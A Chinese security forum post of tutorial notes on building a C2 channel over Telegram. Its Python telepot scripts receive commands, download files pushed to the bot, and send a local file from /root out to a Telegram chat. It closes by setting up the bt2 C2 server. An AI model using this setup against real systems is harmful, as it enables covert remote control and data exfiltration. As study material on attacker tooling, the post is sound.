安全矩阵

 找回密码
 立即注册
搜索
查看: 2458|回复: 0

TG 下的C2创建过程

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-11-17 20:17:09 | 显示全部楼层 |阅读模式

原文链接:TG 下的C2创建过程


0x00:简介

没啥新技术,基本就是老技术。我这里只是做笔记,仅供学习。

0x01:环境部署过程

1、申请TG token
  1. https://telegram.me/botfather
复制代码





  1. https://core.telegram.org/bots/api
复制代码
2、利用python 调用

  1. #!python
  2. #!/usr/bin/python
  3. import sys
  4. import time
  5. import pprint
  6. import telepot
  7. bot = telepot.Bot('you-token')
  8. print ('Listening ...')
  9. def handle(msg):
  10.     print(msg)
  11. def main():
  12.     try:
  13.         bot.message_loop(handle)
  14.     except Exception as err:
  15.         print (err)
  16.     while True:
  17.         time.sleep(10)
  18. if __name__ == '__main__':
  19.     main()
复制代码
3、测试token 调用效果

(记得要国外服务器的运行脚本,不然运行没结果。我自己的没结果)


服务器上运行

到TG上去对你的机器人说话



Python脚本看到你的消息


4、 服务端到客户端
PS:建议看一下API文档在来看
提取文字消息

使用glance()可以从接收的消息中提取一个元组

  1. (content_type,chat_type,chat_id)
复制代码
content_type 包括

  1. text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
复制代码
chat_type 包括

  1. private, group, or channel.
复制代码
所以我们可以使用glance()把接收的文字消息提取出来,代码如下:
  1. #!python
  2. #!/usr/bin/python
  3. import sys
  4. import time
  5. import pprint
  6. import telepot
  7. bot = telepot.Bot('you-token')
  8. print ('Listening ...')
  9. def handle(msg):
  10.     content_type, chat_type, chat_id = telepot.glance(msg)   

  11.     if content_type == 'text':
  12.         received_command = msg['text']
  13.         print (received_command)        
  14.     else:
  15.         print (content_type, chat_type, chat_id)
  16.         return
  17. def main():  
  18.     try:
  19.         bot.message_loop(handle)
  20.     except Exception as err:
  21.         print (err)
  22.     while True:
  23.         time.sleep(10)

  24. if __name__ == '__main__':
  25.     main()
复制代码


接收文件

执行接收消息的python代码,可获得接收文件的消息格式.

下载文件需要使用

  1. bot.download_file(file_id, filename)
复制代码

  1. #!python
  2. #!/usr/bin/python
  3. import sys
  4. import time
  5. import pprint
  6. import telepot
  7. bot = telepot.Bot('you-token')
  8. print ('Listening ...')
  9. def handle(msg):
  10.     content_type, chat_type, chat_id = telepot.glance(msg)   

  11.     if content_type == 'text':
  12.         received_command = msg['text']
  13.         print (received_command)   
  14.     elif content_type == 'document':
  15.         file_id = msg['document']['file_id']
  16.         filename = msg['document']['file_name']
  17.         bot.download_file(file_id, filename)
  18.         print ("[+] Download File Success!")
  19.     else:
  20.         print (content_type, chat_type, chat_id)
  21.         return
  22. def main():  
  23.     try:
  24.         bot.message_loop(handle)
  25.     except Exception as err:
  26.         print (err)
  27.     while True:
  28.         time.sleep(10)

  29. if __name__ == '__main__':
  30.     main()
复制代码




5、 客户端到服务端

发送消息使用

  1. bot.sendMessage(chat_id, message)
复制代码
Server端发送一条消息,代码如下

  1. #!python
  2. import telepot
  3. from pprint import pprint
  4. bot = telepot.Bot('you-token')
  5. bot.sendMessage(id, 'Hello C2 Server Jaky')
复制代码



发送文件使用

  1. bot.sendDocument(chat_id,file)
复制代码
代码如下:

  1. #!python
  2. import telepot
  3. from pprint import pprint
  4. bot = telepot.Bot('you-token')
  5. f = open('/root/学习资料-种子.txt', 'rb')  
  6. bot.sendDocument(id, f)
复制代码


0x02:环境测试过程1、搭建C2 Server

  1. git clone https://github.com/blazeinfosec/bt2.git
复制代码
2、编辑参数
编辑bt2.py设置以下参数

  1. API_TOKEN:token
  2. BOTMASTER_ID:自己帐号的id
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 01:51 , Processed in 0.017015 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表